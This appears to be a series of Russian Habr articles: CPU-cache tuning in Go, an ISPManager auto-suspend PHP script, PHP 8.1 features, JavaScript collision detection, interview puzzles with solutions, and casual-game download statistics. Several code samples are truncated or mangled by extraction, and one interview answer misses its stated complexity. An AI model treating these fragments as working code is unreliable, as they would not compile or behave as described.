Да, повлияло, и весьма радикально! Как это объяснить?
Попробуем нарисовать то, что происходит. Синий круг указывает на первую матрицу, а розовый — на вторую. Когда мы устанавливаем `matrixA[i][j] = matrixA[i][j] + matrixB[j][i]`, синий указатель находится в позиции (4,0), а розовый — в позиции (0,4):
**Примечание**. На этой диаграмме матрицы представлены в математическом виде: с абсциссой и ординатой, а позиция (0,0) находится в левом верхнем квадрате. В памяти все строки матрицы располагаются последовательно. Однако для большей ясности давайте рассмотрим математическое представление. Более того, в следующих примерах размер матрицы кратен размеру строки кэша. Следовательно, строка кэша не будет «догоняться» на следующем ряду. Звучит сложно, но по примерам всё станет понятно.
Как будем перебирать матрицы? Синий указатель перемещается вправо, пока не достигнет последнего столбца, а затем переходит к следующей строке в позиции (5,0) и так далее. Наоборот, розовый указатель перемещается вниз, а затем переходит к следующему столбцу.
Когда розовый указатель достигает позиции (0,4), процессор кэширует всю строку (в нашем примере размер строки кэша равен четырем элементам). Поэтому, когда розовый указатель достигает положения (0,5), мы можем предположить, что переменная уже присутствует в L1, не так ли?
Ответ зависит от **размера матрицы**:
1. Если матрица достаточно мала по сравнению с размером L1, то да, элемент (0,5) уже будет кэширован.
2. В противном случае строка кэша будет удалена из L1 до того, как указатель достигнет позиции (0,5). Поэтому он будет генерировать промах кэша, и процессору придется обращаться к переменной по-другому, например через L2. Мы будем в таком состоянии:
Насколько мала должна быть матрица, чтобы получить выгоду от L1? Давайте немного посчитаем. Во-первых, нужно знать размер кэша L1:
```
$ sysctl hw.l1dcachesize
hw.l1icachesize: 32768
```
На моей машине кэш L1 составляет 32 768 байт, тогда как строка кэша L1 — 64 байта. Таким образом, я могу хранить в L1 до 512 строк кэша. Что, если мы запустим тот же бенчмарк с матрицей из 512 элементов?
```
BenchmarkMatrixCombination-512 1404 718594 ns/op
BenchmarkMatrixReversedCombination-512 1363 850141 ns/opp
```
Хотя мы устранили разрыв (на матрице 64k разница была примерно в 4 раза), но всё еще можем заметить небольшую разницу. Что может быть не так? В бенчмарках мы работаем с двумя матрицами. Следовательно, процессор должен хранить строки кэша обоих. В идеальном мире (без других запущенных приложений и так далее), кэш L1 на 50% заполнен данными из первой матрицы и на 50% из второй. Что, если уменьшить размер матрицы вдвое, чтобы работать с 256 элементами:
```
BenchmarkMatrixCombination-256 5712 176415 ns/op
BenchmarkMatrixReversedCombination-256 6470 164720 ns/op
```
Наконец, мы достигли точки, где два результата (почти) эквивалентны.
> **Примечание**. Почему второй бенчмарк немного быстрее первого? Разница выглядит довольно тонкой и связана с ассемблерным кодом, который создает Go. Во втором случае указатель на вторую матрицу управляется по-другому с помощью команды LEA (Load Effective Address). Когда процессору необходимо получить доступ к ячейке памяти, происходит перевод из виртуальной в физическую память. Использование LEA позволяет вычислить адрес памяти без необходимости проходить через этот перевод.
>
>
>
> Например, если мы управляем фрагментом элементов int64 и у нас уже есть указатель на адрес первого элемента, мы можем использовать LEA для загрузки адреса второго элемента, просто сместив указатель на 8 байтов. В нашем примере это может быть потенциальной причиной того, что второй тест выполняется быстрее. Тем не менее я не эксперт по ассемблеру, так что не стесняйтесь оспаривать этот анализ. Если что, я выложил ассемблерный код [первой](https://github.com/teivah/go-cpu-caches/blob/f8e2f8a7c35cc35e45093243589a66ae39364785/forward.asm) и [второй (обратной)](https://github.com/teivah/go-cpu-caches/blob/f8e2f8a7c35cc35e45093243589a66ae39364785/backward.asm) функции.
Теперь — как ограничить влияние промахов кэша в случае более крупной матрицы? Существует метод, который называется **оптимизация вложенных циклов** (loop nest optimization). Чтобы извлечь максимальную выгоду из строк кэша, мы должны выполнять итерации только в пределах данного блока.
Давайте определим в нашем примере блок как квадрат из 4 элементов. В первой матрице мы перебираем от (4,0) до (4,3). Затем переходим к следующему ряду. Соответственно, мы перебираем вторую матрицу только от (0,4) до (3,4), прежде чем перейти к следующему столбцу.
Когда розовый указатель ходит по первому столбцу, процессор сохраняет соответствующую строку кэша. Таким образом, перебор по остальной части блока означает получение выгоды от L1:
Напишем реализацию этого алгоритма на Go, но сначала мы должны тщательно выбрать размер блока. В предыдущем примере он был равен строке кэша. Он не должен быть меньше, иначе мы будем хранить элементы, к которым не будет доступа.
В нашем бенчмарке Go мы храним элементы int64 (по 8 байт). Строка кэша составляет 64 байта, поэтому она вмещает 8 элементов. Тогда значение размера блока должно быть не менее 8:
```
func BenchmarkMatrixReversedCombinationPerBlock(b *testing.B){
matrixA := createMatrix(matrixLength)
matrixB := createMatrix(matrixLength)
blockSize := 8
for n := 0; n < b.N; n++ {
for i := 0; i < matrixLength; i += blockSize {
for j := 0; j < matrixLength; j += blockSize {
for ii := i; ii < i+blockSize; ii++ {
for jj := j; jj < j+blockSize; jj++ {
matrixA[ii][jj] = matrixA[ii][jj] + matrixB[jj][ii]
}
}
}
}
}
}
```
Наша реализация теперь более чем на 67% быстрее, чем когда мы перебирали всю строку/столбец:
```
BenchmarkMatrixReversedCombination-64000 2 573121540 ns/op
BenchmarkMatrixReversedCombinationPerBlock-64000 6 185375690 ns/op
```
Это был первый пример, демонстрирующий, что понимание работы кэшей CPU может помочь в разработке более эффективных алгоритмов.
False sharing
=============
Теперь мы понимаем, как процессор управляет внутренними кэшами. В качестве быстрого резюме:
1. Принцип локальности по расстоянию заставляет процессор забирать не просто один адрес памяти, а строку кэша.
2. Кэш L1 является локальным для одного ядра процессора.
Теперь обсудим пример с когерентностью кэша L1. В основной памяти хранятся две переменные `var1` и `var2`. Один поток на одном ядре обращается к `var1`, тогда как другой поток на другом ядре обращается к `var2`. Предполагая, что обе переменные непрерывны (или почти непрерывны), мы оказываемся в ситуации, когда `var2`присутствует в обоих кэшах.
*Пример кэша L1*
Что произойдет, если первый поток обновит свою строку кэша? Потенциально он может обновить любое местоположение своей строки, включая `var2`. Затем, когда второй поток считывает `var2`, значение может оказаться не согласованным.
Как процессор сохраняет когерентность кэша? Если у двух строк кэша общие адреса, процессор помечает их как общие(shared). Если один поток изменяет общую строку, он помечает обе как измененные (modified). Чтобы гарантировать когерентность кэшей, требуется координация между ядрами, что может значительно снизить производительность приложения. Эта проблема называется **false sharing** (ложный обмен информацией).
Рассмотрим конкретное приложение на Go. В этом примере мы создаем две структуры одну за другой. Следовательно, эти структуры должны располагаться в памяти последовательно. Затем создаем две горутины, каждая из них обращается к своей структуре (M — это константа, равная миллиону):
```
type SimpleStruct struct {
n int
}
func BenchmarkStructureFalseSharing(b *testing.B) {
structA := SimpleStruct{}
structB := SimpleStruct{}
wg := sync.WaitGroup{}
b.ResetTimer()
for i := 0; i < b.N; i++ {
wg.Add(2)
go func() {
for j := 0; j < M; j++ {
structA.n += j
}
wg.Done()
}()
go func() {
for j := 0; j < M; j++ {
structB.n += j
}
wg.Done()
}()
wg.Wait()
}
}
```
В этом примере переменная n второй структуры доступна только второй горутине. Тем не менее поскольку структуры смежны в памяти, переменная будет присутствовать в обеих строках кэша (предполагая, что обе горутины запланированы на потоках на отдельных ядрах, что необязательно так). Вот результат бенчмарка:
```
BenchmarkStructureFalseSharing 514 2641990 ns/op
```
Как предотвратить ложный обмен информацией? Одним из решений является **заполнение памяти** (memory padding). Наша цель гарантировать, что между двумя переменными достаточно места, чтобы они принадлежали к разным строкам кэша.
Во-первых, создадим альтернативу предыдущей структуре, заполнив память после объявления переменной:
```
type PaddedStruct struct {
n int
_ CacheLinePad
}
type CacheLinePad struct {
_ [CacheLinePadSize]byte
}
const CacheLinePadSize = 64
```
Затем создаем экземпляры двух структур и продолжаем обращаться к этим двум переменным в отдельных горутинах:
```
func BenchmarkStructurePadding(b *testing.B) {
structA := PaddedStruct{}
structB := SimpleStruct{}
wg := sync.WaitGroup{}
b.ResetTimer()
for i := 0; i < b.N; i++ {
wg.Add(2)
go func() {
for j := 0; j < M; j++ {
structA.n += j
}
wg.Done()
}()
go func() {
for j := 0; j < M; j++ {
structB.n += j
}
wg.Done()
}()
wg.Wait()
}
}
```
С точки зрения памяти, этот пример должен выглядеть, словно две переменные являются частью разных строк кэша:
*Заполнение памяти*
Посмотрим на результаты:
```
BenchmarkStructureFalseSharing 514 2641990 ns/op
BenchmarkStructurePadding 735 1622886 ns/op
```
Второй пример с заполнением памяти примерно на 40% быстрее, чем наша первоначальная реализация. Но есть и обратная сторона. Метод ускоряет код, но требует большего объема памяти.
Симпатия к механике — важное понятие, когда речь заходит об оптимизации приложений. В этой статье мы видели примеры, как понимание работы CPU помогло нам повысить скорость программы.
Что еще почитать:
1. [Три уровня автомасштабирования в Kubernetes и как их эффективно использовать](https://mcs.mail.ru/blog/tri-urovnya-avtomasshtabirovaniya-v-kubernetes-kak-ikh-effektivno-ispolzovat).
2. [Что происходит, когда вы обновляете DNS](https://mcs.mail.ru/blog/chto-proishodit-kogda-vy-obnovlyaete-svoj-dns).
3. [Наш канал Вокруг Kubernetes в Телеграме](https://tele.click/k8s_mail). | https://habr.com/ru/post/510200/ | null | ru | null |
# Автоматичное отключение пользователей в ISPManager5 lite без BILLmanager
Дано:
1. VPS Сервер с вечной лицензией ispmanager lite 5
2. 10-20 пользователей на сервере
3. Google Calendar с регулярными напоминаниями у кого закончился хостинг
4. Душащая жаба платить за что-либо еще, тем более на подписке
Цель, избавиться от google календаря и ручных напоминаниях клиенту о том что нужно оплатить хостинг. Избавить себя от «пусть еще немного поработает он скоро оплатит» «как то не удобно отключать», и поручить это решать бездушной машине.
Конечно же сначала погуглил поискал, но не нашел решений все сводилось к тому что нужно взять подписку BILLmanager, но пункт №4 у меня очень важный и серьезный, от него избавляться не буду. Да и решение оказалось не таким уж и сложным.
Итак, что делаем.
Cоздаём папку users.addon, в директории /usr/local/mgr5/etc/sql/, два пустых файла:
1. pay\_date
2. uwemail
Это даст команду панели создать в базе
/usr/local/mgr5/etc/ispmgr.db
в таблице users два соответствующих поля куда будут писаться значения с админ панели.
Создаем файл файл ispmgr\_mod\_pay\_data.xml в папке /usr/local/mgr5/etc/xml с содержимым
```
xml version="1.0" encoding="UTF-8"?
Оплачено до
Пользовательский email
Paid before
User email
```
Это дает правило панели что бы наши поля отображались в форме редактирования пользователя.
Перезагружаем панель:
```
/usr/local/mgr5/sbin/mgrctl -m ispmgr exit
```
Получаем:
В поля пишем до какого дня должен хостинг работать, и какой email пользователя, куда слать напоминания о том что скоро закончиться хостинг.
Теперь нужно создать скрипт который будет напоминать пользователям о том что хостинг заканчивается с некой периодичностью. Уведомлять админа о том что хостинг заканчивается. Уведомлять пользователя и админа о том что пользователь отключен.
Мне близок php на нем и написал скрипт.
```
php
$adminemail = "admin@gmail.com"; // email админа
$day_send_message = [30,7,5,3,1]; // за сколько дней и с какой переодичностью будет напоминать пользователю что хостинг заканчивается
$db = new SQLite3('/usr/local/mgr5/etc/ispmgr.db');
$results = $db-query('SELECT * FROM users WHERE active == "on" AND pay_date IS NOT NULL');
while ($user = $results->fetchArray()) {
$days_left=floor( ( strtotime($user['pay_date']) - time() ) / (60 * 60 * 24));
if(in_array($days_left, $day_send_message)){
if($user['uwemail'] != ""){
mail($user['uwemail'], 'ISPMANAGER заканчивается хостинг через '.$days_left.' дней\я', "Текст для пользователя о том что осталось столько то дней");
}
}
if( $days_left == 3 ) {
mail($adminemail, 'ISPMANAGER USER '.$user['name'], $user['name'] . " Закончится хостинг через ".$days_left." дня");
}
if($days_left <= 0){
mail($adminemail, 'ISPMANAGER USER '.$user['name'].' DISABLED', $user['name'].' Отключен');
exec("/usr/local/mgr5/sbin/mgrctl -m ispmgr user.suspend elid=".$user["name"]);
if( $user['uwemail'] != "" ) {
mail($user['uwemail'], 'ISPMANAGER хостинг отключен', 'Текст для пользователя что хостинг закончился');
}
}
// при желании можно еще написать небольшой IF что бы данные удалялись через некоторое время, но мне это не нужно
}
```
Этот скрипт сохраняем куда угодно и называем как угодно, добавляем в cron задачу для вызова его раз в сутки. Все готово.
Теперь совесть чистая, жаба удовлетворена, дополнительных затрат не понес.
Осталось заполнить данными в пользователей к какой дате оплачен хостинг, и email пользователей куда слать напоминания пользователям.
Рад если кому-то поможет. | https://habr.com/ru/post/514768/ | null | ru | null |
# Вышел PHP 8.1
Спустя год после старта разработки [вышел](https://www.php.net/archive/2021.php#2021-11-25-1) релиз языка программирования PHP 8.1. В версию добавили ряд улучшений.
Изменения в PHP 8.1 включают:
* поддержку перечислений (enum). Вместо класса с константами теперь можно использовать следующую конструкцию:
```
enum Status {
case Pending;
case Active;
case Archived;
}
class Post
{
public function __construct(
private Status $status = Status::Pending;
) {}
public function setStatus(Status $status): void
{
// …
}
}
$post->setStatus(Status::Active);
```
* поддержку легковесных потоков или файберов (Fiber) с возможностью управлять этими потоками на низком уровне. Файберы же позволяют определять блоки кода, выполнение которых может быть приостановлено и возобновлено по аналогии с генераторами, но из любой позиции стека. Они дают возможность использовать один и тот же API в коде, работающем в блокирующем и неблокирующем режимах. Поддержку файберов добавят во фреймворки Amphp и ReactPHP:
```
$fiber = new Fiber(function (): void {
$valueAfterResuming = Fiber::suspend('after suspending');
// …
});
$valueAfterSuspending = $fiber->start();
$fiber->resume('after resuming');
```
* улучшение реализации кэша объектного кода (opcache) с возможностью кэширования информации о наследовании классов. Это повысит производительность некоторых приложений на 5-8%;
* оптимизацию работы JIT, реализацию поддержки JIT для архитектуры ARM64 (AArch64), ускорение разрешения имён классов, оптимизацию библиотек timelib и ext/date, повышение производительности сериализации и десериализации, оптимизацию функций get\_declared\_classes(), explode(), strtr(), strnatcmp() и dechex(). Производительность Symfony Demo выросла на 23%, а WordPress — на 3,5%;
* включение оператора распаковки внутри массивов "...$var", что позволит выполнять подстановку существующих массивов при определении нового, расширение поддержки строковых ключей. Теперь можно использовать в коде:
```
$array1 = ["a" => 1];
$array2 = ["b" => 2];
$array = ["a" => 0, ...$array1, ...$array2];
var_dump($array); // ["a" => 1, "b" => 2]
```
* использование ключевого слова "new" в инициализаторах, чтобы применять объекты в качестве значений параметров по умолчанию, статических переменных, глобальных констант и в аргументах атрибутов, а также при создании вложенных атрибутов:
```
class MyController {
public function __construct(
private Logger $logger = new NullLogger(),
) {}
}
```
* возможность пометки свойств класса для доступа только для чтения (информация в подобные свойства может быть записана только один раз):
```
class PostData {
public function __construct(
public readonly string $title,
public readonly DateTimeImmutable $date,
) {}
}
$post = new Post('Title', /* … */);
$post->title = 'Other';
> Error: Cannot modify readonly property Post::$title
```
* новый синтаксис для вызываемых объектов (callable) — замыкание теперь можно сформировать, вызвав функцию и передав ей в качестве аргумента значение "..." (т.е. для получения ссылки на функцию можно использовать myFunc(...) вместо Closure::fromCallable('myFunc')):
```
function foo(int $a, int $b) { /* … */ }
$foo = foo(...);
$foo(a: 1, b: 2);
```
* полноценная поддержка пересечений типов (intersection types), чтобы создавать новые типы, значения которых должны подпадать одновременно под несколько типов. Пересечения требуют наличия в заполняемом множестве не любого из перечисленных типов, а всех указанных типов:
```
function count_and_iterate(Iterator&Countable $value) {
foreach ($value as $val) {
echo $val;
}
count($value);
}
```
* новый тип "never", который можно использовать для информирования статических анализаторов о том, что функция прекращает выполнение программы, например, вызывая исключение или выполняя функцию exit:
```
function dd(mixed $input): never
{
exit;
}
```
* новую функцию array\_is\_list, которая позволяет определить, что ключи в массиве расположены в порядке увеличения числовых значений, начиная с 0:
```
$list = ["a", "b", "c"];
array_is_list($list); // true
$notAList = [1 => "a", 2 => "b", 3 => "c"];
array_is_list($notAList); // false
$alsoNotAList = ["a" => "a", "b" => "b", "c" => "c"];
array_is_list($alsoNotAList); // false
```
* для запрета переопределения констант родительского класса теперь можно использовать ключевое слово "final":
```
class Foo
{
final public const X = "foo";
}
class Bar extends Foo
{
public const X = "bar";
> Fatal error: Bar::X cannot override final constant Foo::X
}
```
* функции fsync и fdatasync для принудительного сохранения изменений из дискового кэша:
```
$file = fopen("sample.txt", "w");
fwrite($file, "Some content");
if (fsync($file)) {
echo "File has been successfully persisted to disk.";
}
fclose($file);
```
* возможность использования префиксов "0o" и "0O" для восьмеричных чисел, помимо ранее применявшегося префикса "0":
```
016 === 0o16; // true
016 === 0O16; // true
```
* выборочное ограничение применения $GLOBALS, что приведет к нарушению обратной совместимости, но даст возможность значительно ускорить операции с массивами. Запрещена запись в $GLOBALS и передача $GLOBALS по указателю. Анализ 2000 пакетов показал, что только 23 из них затронет данное изменение. Например, прекращена поддержка таких выражений, как:
```
$GLOBALS = [];
$GLOBALS += [];
$GLOBALS =& $x;
$x =& $GLOBALS;
unset($GLOBALS);
by_ref($GLOBALS);
```
* отказ от неявного несовместимого преобразования чисел с плавающей запятой (float) в целочисленного представления (int), приводящих к потере точности. Изменение применимо при преобразовании значений ключей массивов, принудительном объявлении целочисленных типов и в операторах, работающих только с целыми числами:
```
$a = [];
$a[15.5]; // deprecated, as key value loses the 0.5 component
$a[15.0]; // ok, as 15.0 == 15
```
* внутренние методы теперь должны возвращать корректный тип. В противном случае будут выводиться предупреждения, а в PHP 9.0 их заменят на ошибку;
* работа по переводу функций c использования ресурсов на манипуляцию объектами. На объекты переведены функции finfo\_\* и imap\_\*;
* отказ от передачи значений null в качестве аргументов внутренних функций, помеченных как non-nullable. В PHP 8.1 использование конструкций вида str\_contains("string", null) будет приводить к предупреждению, а в PHP 9 — к ошибке;
* отказ от программного интерфейса Serializable;
* во многих модулях ресурсы преобразованы в объекты (file\_info -> finfo в FileInfo, FTP\Connection, IMAP\Connection, LDAP\Connection|Result, PgSql\Connection|Result, PSpell\Dictionary, GdFont в GD и т.п.);
* поддержка алгоритмов хэширования MurmurHash3 и xxHash.
22 ноября 2021 года сообщество разработчиков языка PHP [учредило](https://habr.com/ru/news/t/591031/) некоммерческую организацию PHP Foundation. Ее цель — создать структуру, отвечающую за организацию финансирования и продвижения проекта PHP, включая поддержку сообщества разработчиков, их трудоустройства и обеспечение им необходимых условий для развития проекта. На базе PHP Foundation уже работает система совместного финансирования контрибуторов проекта. В качестве инвесторов в ней могут принять участие как компании, так и физлица. В 2022 году PHP Foundation планирует начать выдавать гранты для разработчиков по мере расширения бюджета организации. | https://habr.com/ru/post/591739/ | null | ru | null |
# Базовая теория столкновения объектов, спрайтов на Javascript
В этой статье я рассмотрю такие приемы как:
* Пересечение габаритов объектов
* Принадлежность точки полигону
И рассмотрим пример реализации механики игры «Астероиды».
#### Пересечение габаритов объектов
Практически любой объект/спрайт можно вписать в прямоугольник, длина и ширина которого являются габаритами исходного объекта. Нахождение пересечения габаритов — первый этап к определению столкновения. Данная операция не требует много ресурсов, поэтому чаще всего данную функция используют для нахождения пары объектов у которых нужно определить столкновение.
```
function MacroCollision(obj1,obj2){
var XColl=false;
var YColl=false;
if ((obj1.x + obj1.width >= obj2.x) && (obj1.x <= obj2.x + obj2.width)) XColl = true;
if ((obj1.y + obj1.height >= obj2.y) && (obj1.y <= obj2.y + obj2.height)) YColl = true;
if (XColl&YColl){return true;}
return false;
}
```
Как видно из исходного кода в основе определения столкновение идет определение пересечения проекций прямоугольников на осях X и Y. При пересечении функция возвращает true, иначе false.
#### Принадлежность точки полигону
Давайте представим, что мы делаем такую игру как «Астероиды». Каждый астероид представляет собой неправильный многоугольник (полигон). Пуля игрока — круг. Учитывая соотношения масштабов астероида и пули, можно пренебречь размером пули, сократив до центральной точки круга. Таким образом нахождение столкновения сводится к определению принадлежности точки полигону.
```
function pointInPoly(polyCords, pointX, pointY)
{
var i, j, c = 0;
for (i = 0, j = polyCords.length - 1; i < polyCords.length; j = i++)
{
if (((polyCords[i][1] > pointY) != (polyCords[j][1] > pointY)) && (pointX < (polyCords[j][0] - polyCords[i][0]) * (pointY - polyCords[i][1]) / (polyCords[j][1] - polyCords[i][1]) + polyCords[i][0]))
{
c = !c;
}
}
return c;
}
```
В качестве входных параметров функции — массив из вершин полигона и координаты точки. Описание работы данной функции описано на английском языке [тут](http://paulbourke.net/geometry/insidepoly/).
Таким образом мы с легкостью можем определить столкновение пули с астероидом. Чтобы сократить кол-во вычислений изначально будем использовать нахождение пересечение габаритов, затем вхождение точки в полигон.
Пример:
```
Bullet = function(x,y)
{
//Координаты
this.x=x;
this.y=y;
//Габариты
this.width=10;
this.height=10;
this.tick = function (){
//Перебираем астеройды
for (var i=0; i
```
То что получилось, можно скачать [тут](http://sourceforge.net/projects/asteroidjs/files/aster.rar/download), а рабочий пример [тут](http://f1site.ru/laba/asteroids/). Управление WSAD+пробел, клик по карте — добавление астеройда.
**UPDATE:** Скриншот того, что в итоге получилось в качестве примера.
 | https://habr.com/ru/post/128438/ | null | ru | null |
# Выпуск#6: ITренировка — актуальные вопросы и задачи от ведущих компаний
Пришло время опубликовать следующую подборку задач, которые задают на собеседованиях в ведущих IT-компаниях.
Мы отобрали задачи и вопросы на логику, которые могут задать соискателям на должность разработчика в Microsoft. Задачи имеют разный уровень сложности (даже все если кажутся на первый взгляд очень простыми :).
Цель подборки — подготовить соискателя к успешному прохождению собеседования, посредством тренировки умения находить оптимальные для решения алгоритмы и строить логические цепочки, а не банальным заучиванием ответов.
Надеемся, что мы достигли этой цели.
#### Вопросы
1. **Утка в пруду**
> A duck that is being chased by a fox saves itself by sitting at the center of circular pond of radius r. The duck can fly from land but cannot fly from the water. Furthermore, the fox cannot swim. The fox is four times faster than the duck. Assuming that the duck and fox are perfectly smart, is it possible for the duck to ever reach the edge of the pond and fly away to its escape from the ground?
**Перевод**Утка, преследуемая лисой, спасается в центре круглого пруда радиусом r. Утка может взлететь с земли, но не с воды. Лиса же не умеет плавать. Также, лиса в 4 раза быстрее утки. Предположив, что утка и лиса абсолютно разумны, возможно ли для утки достичь берега и улететь?
2. **Ящики с фруктами (и ярлыками)**
> In front of you are three boxes. One contains only apples, one contains only oranges and one contains a mix of apples and oranges. Each box is incorrectly labeled, like this:
>
> Box 1: “apples”
>
> Box 2: “oranges”
>
> Box 3: “apples & oranges”
>
>
>
> Question: You get to choose one, and only one, box. I will remove a randomly selected piece of fruit from your chosen box and show it to you (so you can tell if it’s an apple or an orange). After that, you will be able to accurately and definitively relabel all three boxes
>
>
**Перевод**Перед Вами 3 ящика. Один содержит только яблоки, второй — только апельсины, а третий — и яблоки и апельсины. На каждом ящике неправильно повешенный ярлык, вроде:
Ящик 1: «яблоки»
Ящик 2: «апельсины»
Ящик 3: «яблоки и апельсины»
Вопрос: Вам нужно выбрать только один ящик, после чего я вытащу один фрукт из выбранного ящика и покажу Вам (так, что Вы сможете определить, яблоко это или апельсин). Вам требуется безошибочно перевесить ярлыки на ящиках.
#### Задачи
1. **Умножить без оператора умножения**
> Write a function that takes the produce of two given integers without using the multiplication operation. Try to do this as fast as you can (O(log(n) or better)
>
>
**Перевод**Написать функцию, которая возвращает произведение 2-х целых числе без использования оператора умножения. Постарайтесь реализовать с максимальной производительностью (O(log(n) или лучше).
*Я видел также вариацию этой задачи, где требовалось реализовать умножение без операторов умножения, деления, циклов и побитовых операторов.*
2. **N-е простое число**
> Write a function that returns the nth prime number. For example, nthPrime(1) should return 2 since 2 is the first prime number, nthPrime(2) should return 3, and so on.
**Перевод**Напишите функцию, возвращающую n-ое простое число. Например:
nthPrime(1) => 2 (поскольку 2 является первым простым числом),
nthPrime(2) => 3
и т.д.
3. **Найти следующее число с теми же цифрами**
> Given a number N, find the next number that has same set of digits as n and is greater than N. If N is the greatest possible number with its set of digits, then print “not possible”.
>
> Ex:
>
> N = «218765» => «251678»
>
> N = «1234» => «1243»
>
> N = «4321» => «Not Possible»
>
> N = «534976» => «536479»
>
>
**Перевод**Дано число N, нужно найти следующее число, имеющее тот же набор цифр и большее чем N. Если N — самое большое из возможных комбинаций, вывести «not possible».
Пример:
N = «218765» => «251678»
N = «1234» => «1243»
N = «4321» => «Not Possible»
N = «534976» => «536479»
Ответы, как обычно, будут даны в течение следующей недели — успейте решить. Удачи!
#### Решения
1. **Вопрос 1**Действительно, движение по прямой к берегу для утки не является выигрышным, поскольку лиса быстрее в 4 раза, она будет у точки выхода раньше: (π \* r) < (4 \* r).
Утка может плавать кругами, а если радиус круга < r/4, то она проплывет этот круг быстрее лисы, и за несколько кругов сможет встать напротив лисы так, что между ними будет центр пруда. Допустим, что утка начала плавать на дистанции r/4-x (где x — бесконечно малая величина), тогда до точки выхода:
— для утки 3/4r+x
— для лисы π\*r
Очевидно, что π\*r < 4 (3/4 r +x), и утка может улететь.
2. **Вопрос 2**Необходимо выбрать 1 предмет из ящика с табличкой «Яблоки+Апельсины».
Поскольку табличка неправильная, в этом ящике либо только яблоки, либо только Апельсины.
Предположим, мы достали яблоко. Правильная табличка для этого ящика: «Яблоки».
На оставшихся двух ящиках таблички «Яблоки» и «Апельсины», среди них один ящик с апельсинами и один ящик со смесью.
Таблички по условию на них неправильные, значи апельсины находятся в ящике с табличкой «Яблоки», а смесь — в ящике с табличкой «Апельсины».
Если бы достали из первого ящика апельсин, решение было бы аналогичным.
3. **Задача 1**Один из вариантов решения — рекурсия:
```
#include
/\* function to multiply two numbers x and y\*/
int multiply(int x, int y)
{
/\* 0 multiplied with anything gives 0 \*/
if(y == 0)
return 0;
/\* Add x one by one \*/
if(y > 0 )
return (x + multiply(x, y-1));
/\* the case where y is negative \*/
if(y < 0 )
return -multiply(x, -y);
}
int main()
{
printf("\n %d", multiply(5, -11));
getchar();
return 0;
}
```
4. **Задача 2**Вариант ответа:
```
#include
#include
#include
#define MAX 100000000
void prime(int n, int \*primes)
{
int i,j,count=0;
primes[count++] = 2;
if (count == n)
return;
for(i=3;i<=MAX;i+=2)
{
int isPrime=1;
int jMax = sqrt(i);
for(j=3;j<=jMax;j+=2)
{
if(i%j==0)
{
isPrime=0;
break;
}
}
if(isPrime)
{
primes[count++] = i;
if(count==n)
return;
}
}
}
int main()
{
int n,i;
scanf("%d",&n);
int arr[n];
int maxPrime = 0;
for(i=0;i maxPrime)
maxPrime = arr[i];
}
int primes[maxPrime];
prime(maxPrime, primes);
for (i=0;i
```
5. **Задача 3**Оригинальное решение:
```
#include
#include
#include
using namespace std;
// Utility function to swap two digits
void swap(char \*a, char \*b)
{
char temp = \*a;
\*a = \*b;
\*b = temp;
}
// Given a number as a char array number[], this function finds the
// next greater number. It modifies the same array to store the result
void findNext(char number[], int n)
{
int i, j;
// I) Start from the right most digit and find the first digit that is
// smaller than the digit next to it.
for (i = n-1; i > 0; i--)
if (number[i] > number[i-1])
break;
// If no such digit is found, then all digits are in descending order
// means there cannot be a greater number with same set of digits
if (i==0)
{
cout << "Next number is not possible";
return;
}
// II) Find the smallest digit on right side of (i-1)'th digit that is
// greater than number[i-1]
int x = number[i-1], smallest = i;
for (j = i+1; j < n; j++)
if (number[j] > x && number[j] < number[smallest])
smallest = j;
// III) Swap the above found smallest digit with number[i-1]
swap(&number[smallest], &number[i-1]);
// IV) Sort the digits after (i-1) in ascending order
sort(number + i, number + n);
cout << "Next number with same set of digits is " << number;
return;
}
// Driver program to test above function
int main()
{
char digits[] = "534976";
int n = strlen(digits);
findNext(digits, n);
return 0;
}
``` | https://habr.com/ru/post/346424/ | null | ru | null |
# Актуальная статистика доходов от casual игр
Погода в магазине Apple меняется быстро. Никому не интересны прогнозы за прошлый год. Я рискну рассказать про свой опыт разработки casual игр под iPhone в текущем 2014 году от Рождества Христова.
Немного статистики на завтрашний день.
> App Annie gathers data on 1,156,827 Apps and 289,377 Publishers in 155 Countries.
За прошедшие 2 года число приложений в магазине не увеличилось. Миллион приложений. Миллион чьих-то надежд на успех, деньги, славу. За тот же период времени число надеющихся удвоилось.
Не удивительно, ведь раз в квартал Землю облетает очередная весть! За 2 часа разработки! Flappy Bird приносит! Скромному вьетнамскому юноше $50 000 в день!
Если бы не было столь чудных историй, Apple обязан был бы придумывать их. Чтобы тысячи новых парней покупали $100 лицензии на разработку и кодили, кодили, кодили.
Вот. А что же в действительности? В действительности, Ваше приложение (хорошее и легкое) ждет обычная судьба.
#### Судьба обычного, хорошего приложения
Итак, Вы набили шишек и стали гуру в разработке искрометных игр — на создание шлягера уходит 3-4 дня, друзья *залипают* на игру, отзывы положительны. Приложение бесплатное, Review team одобряет игру за 5-10 дней, и вот результат
По вертикали — число скачиваний в день. По горизонтали — ось, устремленная к смерти. Человек смертен, а Вы не знали, юные гении?
В первый день приложение скачивают 50-100 человек.
Во второй день — 25-50 человек.
В третий — 12-25.
Все. Дальше на уровне шума.
Итого за год 100-200 человек.
Ситуация несколько меняется от сезона — игра, выложенная в ноябре-декабре будет иметь 500 игроков. В ненастье мы инстинктивно прижимаемся к теплым бокам своих *iPad*-ов.
Сколько у меня таких безнадежных игр? Много. Более 50-ти. Все эти приложения имеют своих фанатов, которые рубятся в игру каждый день.
В *голодного кролика*, например играют 4-е англичанки. Наверное, общая компания. Я слежу за ними через сервер, где ежедневно устраиваю турниры.
— Что делать? Как заработать на хлеб насущный?,- спрашивает Шура Балаганов из Арбатова.
Не тратя ни копейки? Писать обзоры, крутить через *Вконтакте, ФейсБук и Твиттер*.
#### Судьба этого же приложения с обзором на *Хабрахабр*
Вот точно такое же приложение, вышедшее в этот же день, совпадающее с предыдущем *пиксел в пиксел* (кроме названия)
Смотрите! Другое дело.
В первый день 1500 загрузок и столь же стремительное падение. Почему такая яма на графике? Признаюсь, в бесплатном приложении [Rio 2048](https://itunes.apple.com/app/id855965892) не было рекламы, и я решил проверить, сколько оно заработает, будучи ценой в один $1 доллар.
Вот график покупок.
Оба графика прекрасно коррелируют.
За это платное время я исправил пару ошибок и выполнил пару рекомендаций из отзывов. С выходом новой версии программа стала снова бесплатной и *default* без рекламы.
Я благодарен хабражителям за доброжелательные отзывы и малое число попыток сломать игровой сервер, чтобы влезть на первые места.
Приложение скачивают благодаря удачной аудитории и кнопкам социальных сетей. Более 100 в день (сегодня +175), и только ребята из стран бывшего СССР. Ни в какие Топ 100 ни по каким категориям игра не смогла попасть с таким числом загрузок. Максимум — ТОП500 по Украине и России.
#### Статистика устройств следующая
